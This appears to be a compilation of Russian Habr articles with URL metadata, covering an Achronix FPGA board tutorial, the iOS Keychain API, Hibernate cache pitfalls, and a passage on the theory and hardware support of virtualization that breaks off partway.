И вот, наконец, долгожданная плата прибыла в наш офис!
Дрожащими от волнения руками (а как не волноваться, когда цена у платы как у недорогого импортного кроссовера! ), плата была распакована, перенесена на свое “штатное” место – на антистатический коврик на моем рабочем столе и с интересом рассмотрена.
Как видно, сама плата представляет собой сложное и многофункциональное изделие. Одна только электрическая схема занимает 90 страниц! Поэтому не удивительно, что плата позволяет разрабатывать и отлаживать, не побоюсь этого слова, уникальные проекты, например, создавать оборудование для сетей Ethernet 100G, для чего имеется разъем для модуля CFP (“черный квадрат” в нижнем левом углу на фото вверху ). Два интерфейса Interlaken выведены на разъемы AirMax.
Больше всего поразила толщина печатной платы. Сколько же здесь слоев? 20? 30? 40? Вопрос так и остался невыясненным.
Плата имеет разъем PCI-express (Gen 3 x8, 64 Gb/s) и может работать в качестве периферийного устройства в составе компьютера. Все вместе это выглядит вот так:
В комплект поставки входит JTAG-кабель, выполняющий функции загрузчика и отладчика. Особенностью этого кабеля является возможность работать через USB-порт, либо через Ethernet. В последнем случае можно организовать удаленный доступ к устройству. При работе через Ethernet требуется внешний источник питания (входит в комплект поставки). Так же в комплект поставки входят мощный источник питания для самой платы и модуль DDR-3 RAM на 2GB.
#### Проверка работоспособности
Проверить, что плата функционирует оказалось очень просто, т.к. в оболочку ACE уже встроен для нее тест. Поэтому вся проверка, по сути, сводится к нажатию одной кнопки для загрузки тестовой прошивки. После этого можно поиграть переключателями, включая и выключая светодиоды и протестировать блоки внутренней памяти. Плата при этом должна быть соединена USB-кабелем с компьютером.
#### Разработка
А теперь – о том, как я делал свой первый проект для ПЛИС Achronix. В качестве такового был выбран наипростейший вариант – счетчик с выводом старших разрядов на светодиоды. Конечно, такой простой проект не произведет впечатление на профессионалов, но он позволяет изучить базовую функциональность применяемых для работы с ПЛИС Achronix средств разработки и освоить маршрут проектирования. В будущих публикациях я планирую рассказать о более сложных вещах, таких как конфигурирование и использование аппаратных ядер и реализацию систем на кристалле с использованием процессорного ядра ARM.
##### Структура проекта
Каждый проект я размещаю в отдельном каталоге, содержащем, как минимум, 3 подкаталога:
* Src – для исходных текстов
* Syn – для синтеза
* TR – для имплементации
Практика показала, что в каталоге Syn лучше ничего лишнего не держать, ибо размещенные там файлы синтезатор может затереть. Поэтому исходные тексты (предпочитаю работать на языке Verilog) я храню в каталоге Src, а все скрипты – в каталоге TR
##### Исходные тексты
Исходный код модуля совершенно незамысловатый:
```
module counter #( parameter CNT_WIDTH = 32 ) // 8 <= CNT_WIDTH
(
input wire clk,
input wire rstn,
output wire [7:0] leds
);
wire rst;
reg [CNT_WIDTH-1:0] cnt;
assign rst = ~rstn;
always @(posedge clk or posedge rst)
if (rst) cnt <= 'h0;
else cnt <= cnt+1;
assign leds[7:0] = cnt[CNT_WIDTH-1: CNT_WIDTH-8];
endmodule
```
Но для имплементации на демонстрационной плате его необходимо чуть-чуть модифицировать.
Во-первых, необходимо выбрать и правильно подключить источник тактового сигнала. Их на плате — несколько. После изучения был выбран источник частотой 100МГц, имеющий дифференциальный выход. Следовательно, необходимо было добавить во входную тактовую цепь дифференциальный буфер.
Во-вторых, хотелось бы увидеть внутренние сигналы в процессе работы. Такая возможность есть у всех производителей ПЛИС, имеется она и в ПЛИС Achronix. Внутренний анализатор сигналов называется SnapShot. В отличие от конкурентов, компонент SnapShot должен быть явно описан в дизайне. Это поначалу вызывало у меня неудобство, но затем я оценил преимущество такого подхода. Это преимущество заключается в полном контроле над тем, что ты делаешь. Кроме того, такой подход позволяет очень гибко настраивать триггеры для регистрации отслеживаемых событий.
Итак, в окончательном варианте у нас появляется дифференциальный тактовый вход и буфер для него, а так же компонент ShapShot для изучения внутренних сигналов. Окончательный текст на языке Verilog:
```
`define USE_SNAPSHOT
module counter #( parameter CNT_WIDTH = 30 ) // 8 <= CNT_WIDTH <= MNTR_WIDTH
(
`ifdef USE_SNAPSHOT
input wire tck,
input wire trstn,
input wire tms,
input wire tdi,
output wire tdo,
`endif
input wire clk_p,
input wire clk_n,
input wire rstn,
output wire [7:0] leds
);
//**********************************************
wire clk;
wire rst;
reg [CNT_WIDTH-1:0] cnt;
assign rst = ~rstn;
IPAD_DIFF #( .odt("on"), .termination("100") )
synth_clk_pad ( .pad(clk_p), .padn(clk_n), .dout(clk) );
always @(posedge clk or posedge rst)
if (rst) cnt <= 'h0;
else cnt <= cnt+1;
assign leds[7:0] = cnt[CNT_WIDTH-1: CNT_WIDTH-8];
//*********************************************
`ifdef USE_SNAPSHOT
localparam MNTR_WIDTH = 36;
wire [MNTR_WIDTH: 0] ss_zeroes; ///// Signals going to trigger-detector block to do pattern matching
wire ss_clk;
wire [MNTR_WIDTH-1 :0] ss_monitor_ch; /// Signals monitored in Snapshot
wire [MNTR_WIDTH-1: 0] ss_trigger_ch; ///// Signals going to trigger-detector block to do pattern matching
wire ss_rstn_out; ///// Active low user reset signal.
wire ss_Arm; ///// Indicates Snapshot activity.
wire [MNTR_WIDTH-1:0] ss_Stimuli; ///// User specified values for 3rd trigger pattern value
assign ss_clk = clk;
assign ss_zeroes = {MNTR_WIDTH+1{1'b0}}; ////
//////// Now Snapshot macro block instantiation ///////
ACX_SNAPSHOT #(.MNTR_WIDTH(MNTR_WIDTH) )
snapshot_0 (
.tck ( tck ),
.tms ( tms ),
.trstn ( trstn ),
.tdi ( tdi ),
.tdo ( tdo ),
.usr_clk ( ss_clk ),
.Monitor_ch ( ss_monitor_ch ),
.trigger_ch ( ss_trigger_ch ),
.Rstn_out ( ss_rstn_out ),
.Arm ( ss_Arm ),
.Stimuli ( ss_Stimuli )
);
assign ss_monitor_ch = { ss_zeroes[MNTR_WIDTH-1: CNT_WIDTH], cnt[CNT_WIDTH-1:0] };
assign ss_trigger_ch = ss_monitor_ch;
`endif
//**********************************************
endmodule
```
##### Синтез
Синтезатору Synplify для работы требуется кроме исходных текстов и ссылок на библиотеку элементов еще файл констрейнтов (обычно он имеет расширение .sdc). Хотя для такого простого дизайна он необязателен, все же его лучше указать. В таком простом случае, как у нас, требуется только указать имена тактового сигнала и их параметры.
```
# synplify_constraints.sdc
set_hierarchy_separator {/}
create_clock clk_p -period 10
create_clock tck -period 40
set_clock_groups -asynchronous -group { tck } -group { clk_p }
```
Далее создаем проект для Synplify, указываем требуемые для синтеза файлы и библиотеки и запускаем процесс. Если все сделано правильно, получаем выходной файл с расширением .vma. (“Гуру” FPGA-дизайна могут указать, что основным выходным форматом Synplify является edif. Но ACE принимает на входе только верилоговские нетлисты, которые как раз имеют расширение .vma)
##### Имплементация
Собственно процесс имплементации осуществляется по стандартной схеме:
* Создаем проект для ACE
* Указываем в проекте файл результатов синтеза (с расширением .vma)
* Задаем констрейнты
* Запускаем процесс имплементации
* Получаем файл для загрузки в ПЛИС
Для имплементации необходимо подготовить два файла констрейнтов: для задания клоков и задания пинов. Их содержимое показано в таблице:
```
# Ace_constraints.pdc
create_clock clk_p -period 10
create_clock tck -period 40
set_clock_groups -asynchronous -group { tck } -group { clk_p }
# io_preplacement.pdc
set_placement -batch -fixed {p:clk_p} {b:P19}
set_placement -batch -fixed {p:clk_n} {b:P18}
set_placement -batch -fixed {p:rstn} {b:P17}
set_placement -batch -fixed {p:leds[0]} {b:AE47}
set_placement -batch -fixed {p:leds[1]} {b:AJ46}
set_placement -batch -fixed {p:leds[2]} {b:AC46}
set_placement -batch -fixed {p:leds[3]} {b:AF47}
set_placement -batch -fixed {p:leds[4]} {b:AF46}
set_placement -batch -fixed {p:leds[5]} {b:AJ47}
set_placement -batch -fixed {p:leds[6]} {b:AG46}
set_placement -batch -fixed {p:leds[7]} {b:AE46}
```
На компьютере этап имплементации выглядит следующим образом:
##### Загрузка дизайна и отладка
Чтобы загрузить созданный на предыдущем этапе файл прошивки, надо перейти в окно “Download”, нажать на кнопку “Run ‘Program’ ” и подождать пару минут.
После окончания загрузки ПЛИС сразу же начинает работать и мы можем наблюдать на плате линейку весело мигающих светодиодов.
Чтобы посмотреть внутренние сигналы, подключенные к модулю SnapShot, требуется открыть окно “Snapshot debugger”. В этом окне можно настроить режимы триггера захвата и другие параметры. Анализ запускается кнопкой “Arm”, после чего начинается отслеживание состояния триггера. После установки триггера, на экране (с небольшой задержкой) появляется временная диаграмма регистрируемых сигналов.
#### Заключение и выводы
За короткий срок компании Achronix удалось создать интересные, конкурентоспособные ПЛИС сегмента HI-END и средства разработки для них. Технология работы с ними не вызовет проблем даже у специалистов средней квалификации. Продукция компании Achronix уже доступна в России.
#### Ссылки
1. Сайт Российского Представительства (“Лаборатория Высокопропускных СБИС”), url: [www.achronix.ru](http://www.achronix.ru)
2. Википедия, статья о компании Акроникс, url: [ru.wikipedia.org/wiki/Achronix](http://ru.wikipedia.org/wiki/Achronix)
3. Семейство Speedster22i HD, техническое описание, url: [www.achronix.com/wp-content/uploads/docs/Speedster22iHD\_FPGA\_Family\_DS004.pdf](http://www.achronix.com/wp-content/uploads/docs/Speedster22iHD_FPGA_Family_DS004.pdf)
4. Руководство пользователя комплектом разработчика: Speedster22i HD1000 Development Kit User Guide, url: [www.achronix.com/wp-content/uploads/docs/Speedster22i\_DevelopmentKit\_User\_Guide\_UG034.pdf](http://www.achronix.com/wp-content/uploads/docs/Speedster22i_DevelopmentKit_User_Guide_UG034.pdf)
5. Руководство пользователя отладчиком SnapShot: [www.achronix.com/wp-content/uploads/docs/Speedster22i\_Snapshot\_User\_Guide\_UG016.pdf](http://www.achronix.com/wp-content/uploads/docs/Speedster22i_Snapshot_User_Guide_UG016.pdf)
6. Схема электрическая принципиальная отладочной платы: 22iHD1000\_Development\_Board\_Schematic.pdf
7. Сайт компании Achronix (на английском языке), url: [www.acronix.com](http://www.acronix.com) | https://habr.com/ru/post/231007/ | null | ru | null |
# Keychain API в iOS
Всем привет!
Не так давно столкнулся с необходимостью использования Keychain-а для обеспечения дополнительной защиты при входе в приложение.
Я нашел много хороших статей по этой теме, но в основном там описываются сторонние фреймворки, упрощающие жизнь, а было интересно посмотреть, как работать с API напрямую. В этой статье я попытался объединить документацию Apple с практикой на простом примере.
### Начнем с небольших определений
Keychain — зашифрованная база данных, куда сохраняются небольшие объемы пользовательской информации (см. [документацию Apple](https://developer.apple.com/documentation/security/keychain_services)).
Общая схема работы продемонстрирована на рисунке.
Keychain API Services в свои очередь являются часть фреймворка [Security](https://developer.apple.com/documentation/security), но его рассмотрение требует отдельной статьи.
### Добавление элемента
```
let keychainItemQuery = [
kSecValueData: pass.data(using: .utf8)!,
kSecClass: kSecClassGenericPassword
] as CFDictionary
let status = SecItemAdd(keychainItemQuery, nil)
print("Operation finished with status: \(status)")
```
Выше приведен пример сохранения пароля в Keychain.
Рассмотрим функцию [SecItemAdd](https://developer.apple.com/documentation/security/1401659-secitemadd) подробнее.
```
func SecItemAdd(_ attributes: CFDictionary,
_ result: UnsafeMutablePointer?) -> OSStatus
```
На вход подается объект класса [CFDictionary](https://developer.apple.com/documentation/corefoundation/cfdictionary), который в свою очередь является ссылкой на неизменяемый объект словаря.
Что в это словарь входит? На самом деле его состав зависит от решаемой задачи — здесь же мы просто сохраняем простой пароль, давайте разберем этот простейший запрос.
Итак, kSecClass — этот ключ используется для значений хранимых элементов, список их можно посмотреть [тут](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_class_keys_and_values), мы же выбрали стандартный пароль.
kSecValueData — ключ, использующийся для передачи данных элемента.
На этом обязательные ключи заканчиваются, далее идут опциональные. Список таких параметров доступен в [документации](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values).
Возвращаемое значение типа OSStatus определяет результат операции сохранения/изменения/удаления, у него так же есть [масса значений](https://developer.apple.com/documentation/security/1542001-security_framework_result_codes).
### Получение элемента
Для получения элемента из Keychain-а используется метод [SecItemCopyMatching](https://developer.apple.com/documentation/security/1398306-secitemcopymatching).
Формируем запрос в виде словаря, где содержится искомый пароль.
```
let keychainItem = [
kSecValueData: pass.data(using: .utf8)!,
kSecClass: kSecClassGenericPassword,
kSecReturnAttributes: true,
kSecReturnData: true
] as CFDictionary
var ref: AnyObject?
let status = SecItemCopyMatching(keychainItem, &ref)
if let result = ref as? NSDictionary, let passwordData = result[kSecValueData] as? Data {
print("Operation finished with status: \(status)")
print(result)
let str = String(decoding: passwordData, as: UTF8.self)
print(str)
}
```
Посмотрим логи:
```
Operation finished with status: 0
{
accc = "";
acct = "";
agrp = "xxx.com.maximenko.xxx";
cdat = "2020-11-19 20:39:43 +0000";
mdat = "2020-11-19 20:39:43 +0000";
musr = {length = 0, bytes = 0x};
pdmn = ak;
persistref = {length = 0, bytes = 0x};
sha1 = {length = 20, bytes = 0xxxxxxxxxxxxxxxxxxxxxxx};
svce = "";
sync = 0;
tomb = 0;
"v\_Data" = {length = 3, bytes = 0x4b656b};
}
Kek
```
Как мы видим, возвращен 0, символизирующий успешный результат поиска и выведен весь список атрибутов, полученных из API (Access group параметр затерт на всякий случай:)). Эти атрибуты подробно описаны [тут](https://gist.github.com/0xmachos/5bcf2ad0085e09f3b553a88bb0e0574d).
Значение по ключу kSecValueData нас собственно тут интересует, успешно разворачиваем его в строку, далее выведенную терминал.
### Обновление элемента
Для этого есть метод [SecItemUpdate](https://developer.apple.com/documentation/security/1393617-secitemupdate).
На вход подается 2 CFDictionary словаря — в первом информация об обновляемом элементе, во втором — та информация, на которую надо будет заменить старую.
```
let query = [
kSecClass: kSecClassGenericPassword,
] as CFDictionary
let updateFields = [
kSecValueData: pass.data(using: .utf8)!
] as CFDictionary
let status = SecItemUpdate(query, updateFields)
```
На примере простого пароля — в первом запросе указываем что именно требуется найти для замены, во втором — то ключ-значение, которое мы обновим в найденном элементе.
### Удаление элемента
Для удаления используем [SecItemDelete](https://developer.apple.com/documentation/security/1395547-secitemdelete).
У него на входе один параметр — словарь c информацией об удаляемом элементе, который надо найти.
Возвращает статус выполнения операции типа OSStatus.
```
let query = [
kSecClass: kSecClassGenericPassword,
kSecValueData: pass.data(using: .utf8)!
] as CFDictionary
let res = SecItemDelete(query)
```
### Подведение итогов
В данной статье рассматривается работа с Keychain-ом на примере нескольких основных методов. Если увидите какие-то неточности, ошибки или просто хотите более подробно обсудить тему, пишите в комментарии или Telegram ([skipperprivate](https://habr.com/ru/users/skipperprivate/)).
P.S.
Если будет интересно, можно отдельную статью посвятить работе с более сложными сущностями вроде Интернет-пароля, с большим количеством полей и т.д., или обсудить подобное в комментариях. | https://habr.com/ru/post/526510/ | null | ru | null |
# Hibernate Cache. Практика
Итак, в продолжение [предыдущей статьи](http://habrahabr.ru/blogs/java/135176/) я попробую на реальных ситуациях рассказать о проблемах, которые возникали у меня при работе в реальных проектах.
##### Миграционные скрипты
Пожалуй, одной из наиболее частых проблем при работе с кешем в моем приложении является необходимость накатывать миграционные скрипты на работающий сервер. Ведь если эти скрипты запускаются не через фабрику сессий работающего сервера, то кеш этой фабрики никак не узнает об изменениях, которые делаются в базу. Следовательно, получаем проблему несовместимости данных. Для решения этой проблемы есть несколько путей:
1. Рестарт сервера — самый простой и, обычно, самый не приемлемый способ;
2. Очистка кеша через определенные механизмы — пожалуй самый оптимальный по простоте и надежности метод. Этот метод можно вынести, например в JMX, на веб страничку или другой интерфейс и вызывать при необходимости. Гибкость метода в том, что пишется это один раз, а используется сколько угодно и где угодно. В случае, если Ваш провайдер кеша — EHCache и класс провайдер — SingletonEhCacheProvider, то Ваш код может выглядеть так:
```
public String dumpKeys() {
String regions[] = CacheManager.getInstance().getCacheNames();
StringBuilder allkeys = new StringBuilder();
String newLine = System.getProperty("line.separator");
for (String region : regions) {
Ehcache cache = CacheManager.getInstance().getEhcache(region);
allkeys.append(toSomeReadableString(cache.getKeys()));
allkeys.append(newLine);
}
return allkeys.toString();
}
```
Естественно что этот код должен выполняться в том же процессе что и хибернейт, статистику которого Вы хотите отследить. Подробней можно прочитать [тут](http://ehcache.org/documentation/recipes/). Того же можно добиться используя фабрику сессий.
3. Запуск миграционных скриптов, используя фабрику сессий работающего сервера. Это похоже на второй метод, с той лишь разницей, что мы не очищаем кеш, а пропускаем все миграционные скрипты через существующую фабрику. Таким образом все необходимые кеши обновляться сами. Этот метод рационально использовать в случае если кеш большой и дешевле его обновлять нежели создавать по новой;
##### Кеш запросов
Кеш запросов, пожалуй, самый не эффективный из всех перечисленных в предыдущей статье. Этому есть несколько причин:
1. Прежде всего (о чем я забыл упомянуть в первой статье) ключом к данным этого кеша выступает не только параметры запроса, но и сам запрос. Это особенно важно, когда запросов много и они большие.
2. Кеш запросов очень часто сбрасывается. То есть, если хоть одна из таблиц, которые участвуют в запросе, была модифицирована, то кеш будет сброшен и запрос выполнен по новой.
Поэтому использовать его следует очень осторожно. И помните — нету смысла кешировать все подряд. Кешируйте только те запросы, которые действительно могут ускорить работу вашего приложения и те запросы, кеш для которых будет очень редко сбрасываться.
Типичный пример плохого места для кеша запроса — выборка количества чего-либо на ресурсе с высокой скоростью обновлений/добавлений сущностей. Скажем, Вам нужно вывести статистику созданных в приложении сущностей по их статусам и еще каким либо параметрам, например так:
```
Criteria criteria = getSession().createCriteria(Plan.class);
criteria.setProjection(Projections.projectionList()
.add(Projections.groupProperty("status"))
.add(Projections.rowCount())
);
criteria.setCacheable(true);
```
Каждый раз при вставке в таблицу нового плана или изменении существующего, кеш будет сбрасываться. Мало того, что кеш постоянно сбрасывается, так еще и появляются постоянные расходы на мониторинг состояния таблиц и сопровождение самого кеша. Это может существенно ударить по производительности. Собственно, это когда-то и случилось с моим приложением.
##### Удаление закешированных объектов
Я уже не могу вспомнить все конкретные обстоятельства проблем, что случались при работе в кешем. Но одну из них особенно хорошо помню — это удаление объектов, которые находятся в закешированной коллекции. Известно, что объекты и их зависимости кешируются отдельно. Следовательно, если у нас есть следующий класс:
```
@Entity
@Table(name = "shared_doc")
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
public class SharedDoc{
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
private Set users;
}
```
И один из пользователей был удален, то мы выполняем его удаление:
```
getSession().delete(user)
```
При этом, удаленная запись остается в кеше коллекции users. Получаем не консистентные данные. Это же справедливо для разного рода каскадных удалений. Когда удаленные в каскаде объекты остались в кеше. Одно из очевидных решений — удалять объекты также и из кеша коллекций в которых он может находится. То есть, в данном примере удаление должно выглядеть так:
```
SharedDoc doc = (SharedDoc) session.load(SharedDoc.class, 1L);
doc.getUsers().remove(user);
session.delete(user);
```
Это отлично работает когда user находится лишь в одном кеше коллекций — users. Но задача очень усложняется когда таких коллекций много и они могут быть раскиданы по разным сущностям. Подобного рода проблема также может привести к ObjectNotFoundException при попытке какого-либо действия с объектами, которые остались в кеше.
##### Конкурентные транзакции
Иногда кеш может вести себя не так как Вы ожидаете в случае конкурентных транзакций. Рассмотрим типичный случай:
```
Session session1 = getSession();
Session session2 = getSession());
Transaction t = session1.beginTransaction();
Plan plan = (Plan) session1.load(Plan.class, 1L);
System.out.println (plan.getName());
plan.setName(newName);
t.commit();
t = session2.beginTransaction();
plan = (Plan) session2.load(Plan.class, 1L);
System.out.println (plan.getName());
tx2.commit();
session1.close();
session2.close();
```
Казалось бы, что при втором вызове плана он должен был бы быть получен из кеша второго уровня — но это не так. Так как объект session2 был создан до изменения объекта плана. И во время обращения к кешу второго уровня хибернейт сверяет время создания сессии и время последнего изменения объекта. Это поведение следует учитывать в Ваших приложениях, так как это может создать дополнительную нагрузку в тех местах, где Вы на это не рассчитываете.
Вот, пожалуй, и все из того, что мне удалось припомнить из проблем при работе с Hibernate Cache. К сожалению, с распределенным кешем я не работал и мне по этой теме нечего сказать. Если Вы сталкивались с другими проблемами не описанными в статье, комментируйте, буду добавлять. | https://habr.com/ru/post/136375/ | null | ru | null |
# Аппаратная виртуализация. Теория, реальность и поддержка в архитектурах процессоров
В данном посте я попытаюсь описать основания и особенности использования аппаратной поддержки виртуализации компьютеров. Начну с определения трёх необходимых условий виртуализации и формулировки теоретических оснований для их достижения. Затем перейду к описанию того, какое отражение теория находит в суровой реальности. В качестве иллюстраций будет кратко описано, как различные вендоры процессоров различных архитектур реализовали виртуализацию в своей продукции. В конце будет затронут вопрос рекурсивной виртуализации.
Сперва — несколько определений, может быть, не совсем типичных для статей по данной тематике, но используемых в этой заметке.
* Хозяин (*англ.* host) — аппаратная система, на которой запущен монитор виртуальных машин или симулятор.
* Гость (*англ.*guest) — виртуальная или моделируемая система, запущенная под управлением монитора или симулятора. Также иногда именуется как целевая система (*англ.* target system).
Остальную терминологию я постараюсь определять по мере появления в тексте.
#### Введение
Виртуализация представляла интерес ещё до изобретения микропроцессора, во времена преобладания больших систем — мейэнфреймов, ресурсы которых были очень дорогими, и их простой был экономически недопустим. Виртуализация позволяла повысить степень утилизации таких систем, при этом избавив пользователей и прикладных программистов от необходимости переписывать своё ПО, так как с их точки зрения виртуальная машина была идентична физической. Пионером в этой области являлась фирма IBM с мэйнфреймами System/360, System/370, созданными в 1960-1970-х гг.
#### Классический критерий виртуализуемости
Неудивительно, что критерии возможности создания эффективного монитора виртуальных машин были получены примерно в то же время. Они сформулированы в классической работе 1974 г. Жеральда Попека и Роберта Голдберга «Formal requirements for virtualizable third generation architectures» [8]. Рассмотрим её основные предпосылки и сформулируем её основной вывод.
##### Модель системы
В дальнейшем используется упрощённое представление «стандартной» ЭВМ из статьи, состоящей из одного центрального процессора и линейной однородной оперативной памяти. Периферийные устройства, а также средства взаимодействия с ними опускаются. Процессор поддерживает два режима работы: режим супервизора, используемый операционной системой, и режим пользователя, в котором исполняются прикладные приложения. Память поддерживает режим сегментации, используемый для организации виртуальной памяти.
Выдвигаемые требования на монитор виртуальных машин (ВМ):
1. Изоляция — каждая виртуальная машина должна иметь доступ только к тем ресурсам, которые были ей назначены. Она не должна иметь возможности повлиять на работы как монитора, так и других ВМ.
2. Эквивалентность — любая программа, исполняемая под управлением ВМ, должна демонстрировать поведение, полностью идентичное её исполнению на реальной системе, за исключением эффектов, вызванных двумя обстоятельствами: различием в количестве доступных ресурсов (например, ВМ может иметь меньший объём памяти) и длительностями операций (из-за возможности разделения времени исполнения с другими ВМ).
3. Эффективность — в оригинальной работе условие сформулировано следующим образом: «статистически преобладающее подмножество инструкций виртуального процессора должно исполняться напрямую хозяйским процессором, без вмешательства монитора ВМ». Другими словами, значительная часть инструкций должна симулироваться в режиме прямого исполнения. Требование эффективности является самым неоднозначным из трёх перечисленных требований, и мы ещё вернёмся к нему. В случае симуляторов, основанных на интерпретации инструкций, условие эффективности не выполняется, т.к. каждая инструкция гостя требует обработки симулятором.
##### Классы инструкций
Состояние процессора содержит минимум три регистра: M, определяющий, находится ли он в режиме супервизора s или пользователя u, P — указатель текущей инструкции и R — состояние, определяющее границы используемого сегмента памяти (в простейшем случае R задаёт отрезок, т.е. R = (l,b), где l — адрес начала диапазона, b — его длина).
Память E состоит из фиксированного числа ячеек, к которым можно обращаться по их номеру t, например, E[t]. Размер памяти и ячеек для данного рассмотрения несущественен.
При исполнении каждая инструкция i в общем случае может изменить как (M,P,R), так и память E, т.е. она является функцией преобразования: (M1,P1,R1,E1) -> (M2,P2,R2,E2).
Считается, что для некоторых входных условий инструкция вызывает исключение ловушки (*англ.* trap), если в результате её исполнения содержимое памяти не изменяется, кроме единственной ячейки E[0], в которую помещается предыдущее состояние процессора (M1,P1,R1). Новое состояние процессора (M2,P2,R2) при этом копируется из E[1]. Другими словами, ловушка позволяет сохранить полное состояние программы на момент до начала исполнения её последней инструкции и передать управление обработчику, в случае обычных систем обычно работающему в режиме супервизора и призванного обеспечить дополнительные действия над состоянием системы, а затем вернуть управление в программу, восстановив состояние из E[0].
Далее, ловушки могут иметь два признака.
1. Вызванные попыткой изменить состояние процессора (ловушка потока управления).
2. Обращения к содержимому памяти, выходящему за пределы диапазона, определённого в (ловушка защиты памяти).
Отметим, что эти признаки не взаимоисключающие. То есть результатом исполнения могут быть одновременно ловушка потока управления и защиты памяти.
Машинные инструкции рассматриваемого процессора можно классифицировать следующим образом:
* Привилегированные (*англ.* privileged). Инструкции, исполнение которых с M = u всегда вызывает ловушку потока управления. Другими словами, такая инструкция может исполняться только в режиме супервизора, иначе она обязательно вызывает исключение.
* Служебные (*англ.* sensitive. Установившего русского термина для этого понятия я не знаю. Иногда в литературе встречается перевод «чувствительные» инструкции). Класс состоит из двух подклассов. 1. Инструкции, исполнение которых закончилось без ловушки защиты памяти и вызвало изменение M и/или R. Они могут менять режим процессора из супервизора в пользовательский или обратно или изменять положение и размер доступного сегмента памяти. 2. Инструкции, поведение которых в случаях, когда они не вызывают ловушку защиты памяти, зависят или от режима M, или от значения R.
* Безвредные (*англ.* innocuous). Не являющиеся служебными. Самый широкий класс инструкций, не манипулирующие ничем, кроме указателя инструкций P и памяти E, поведение которых не зависит от того, в каком режиме или с каким адресом в памяти они расположены.
##### Достаточное условие построения монитора ВМ
Соблюдение трёх сформулированных выше условий возможности построения монитора виртуальных машин даётся в следующем предложении: **множество служебных инструкций является подмножеством привилегированных инструкций** (рис. 1). Опуская формальное доказательство теоремы 1 из статьи, отметим следующие обстоятельства.
* Изоляция обеспечивается размещением монитора в режиме супервизора, а ВМ — только в пользовательском. При этом последние не могут самовольно изменить системные ресурсы — попытка вызовет ловушку потока управления на служебной инструкции и переход в монитор, а также память из-за того, что конфигурация не допускает этого, и процессор выполнит ловушку защиты памяти.
* Эквивалентность доказывается тем, что безвредные инструкции выполняются одинаково вне зависимости от того, присутствует ли в системе монитор или нет, а служебные всегда вызывают исключение и интерпретируются. Отметим, что даже в описанной выше простой схеме проявляется первое ослабляющее условие: даже без учёта памяти, необходимой для хранения кода и данных гипервизора, объём доступной для ВМ памяти будет как минимум на две ячейки меньше, чем имеется у хозяйской системы.
* Эффективность гарантируется тем, что все безвредные инструкции внутри ВМ исполняются напрямую, без замедления. При этом подразумевается, что их множество включает в себя «статистически преобладающее подмножество инструкций виртуального процессора».
Рис. 1: Выполнение условия виртуализуемости. Множество служебных инструкций является подмножеством привилегированных
#### Ограничения применимости критерия виртуализуемости
Несмотря на простоту использованной модели и полученных из неё выводов, работа Голдберга и Попека является актуальной до сих пор. Следует отметить, что несоблюдение описанных в ней условий вовсе не делает создание или использование виртуальных машин на некоторой архитектуре принципиально невозможным, и есть практические примеры реализаций, подтверждающие это. Однако соблюсти оптимальный баланс между тремя свойствами: изоляцией, эквивалентностью и эффективностью, — становится невозможным. Чаще всего расплачиваться приходится скоростью работы виртуальных машин из-за необходимости тщательного поиска и программного контроля за исполнением ими служебных, но не привилегированных инструкций, так как сама аппаратура не обеспечивает этого (рис. 2). Даже единственная такая инструкция, исполненная напрямую ВМ, угрожает стабильной работе монитора, и поэтому он вынужден сканировать весь поток гостевых инструкций.
Рис. 2: Невыполнение условия виртуализуемости. Служебные, но не привилегированные инструкции требуют реализации сложной логики в мониторе
В самой работе [8] присутствуют как явно указанные упрощения исследуемой структуры реальных систем (отсутствие периферии и системы ввода-вывода), так и неявные предположения о структуре исполняемых гостевых программ (почти полностью состоящих из безвредных инструкций) и хозяйских систем (однопроцессорность).
Рассмотрим теперь данные ограничения более детально, а также предложим, каким образом можно расширить степень применимости критерия к дополнительным ресурсам, требующим виртуализации, и таким образом повысить его практическую ценность для архитекторов новых вычислительных систем.
##### Структура гостевых программ
Для эффективной работы программ внутри ВМ необходимо, чтобы большая часть их инструкций являлись безвредными. Как правило, это верно для прикладных приложений. Операционные системы, в свою очередь, предназначены для управления ресурсами системы, что подразумевает использование ими привилегированных и служебных инструкций, и монитору приходится их перехватывать и интерпретировать с соответствующим падением производительности. Поэтому в идеале в наборе инструкций должно быть как можно меньше привилегированных для того, чтобы частота возникновения ловушек была минимальной.
##### Периферия
Поскольку периферийные устройства являются служебным ресурсом ЭВМ, очевидно, что для обеспечения условий изоляции и эквивалентности необходимо, чтобы все попытки доступа к ним были контролируемы монитором ВМ так же, как они контролируются в многозадачной операционной системе её ядром. В настоящее время доступ к устройствам чаще всего производится через механизм отражения их в физической памяти системы (*англ.* memory mapped I/O), что означает, что внутри монитора это чтение/запись некоторых регионов должно или вызывать ловушку защиты памяти, или быть не служебным, т.е. не вызывать ловушку и не влиять на состояние неконтролируемым образом.
Интенсивность взаимодействия приложений с периферией может быть различна и определяется их функциональностью, что сказывается на их замедлении при виртуализации. Кроме того, монитор ВМ может делать различные классы периферии, присутствующей на хозяине, доступными внутри нескольких ВМ различными способами.
* Выделенное устройство — устройство, доступное исключительно внутри одной гостевой системы. Примеры: клавиатура, монитор.
* Разделяемое — общее для нескольких гостей. Такое устройство или имеет несколько частей, каждая из которых выделена для нужд одного из них (*англ.* partitioned mode), например, жёсткий диск с несколькими разделами, или подключается к каждому из них поочерёдно (*англ.* shared mode). Пример: сетевая карта.
* Полностью виртуальное — устройство, отсутствующее в реальной системе (или присутствующее, но в ограниченном количестве) и моделируемое программно внутри монитора. Примеры: таймеры прерываний — каждый гость имеет собственный таймер, несмотря на то, что в хозяйской системе есть только один, и он используется для собственных нужд монитора.
##### Прерывания
Прерывания являются механизмом оповещения процессора о событиях внешних устройств, требующих внимания операционной системы. В случае использования виртуальных машин монитор должен иметь возможность контролировать доставку прерываний, так как часть или все из них необходимо обрабатывать именно внутри монитора. Например, прерывание таймера может быть использовано им для отслеживания/ограничения использования гостями процессорного времени и для возможности переключения между несколькими одновременно запущенными ВМ. Кроме того, в случае нескольких гостей заранее неясно, какому из них следует доставить прерывание, и принять решение должен монитор.
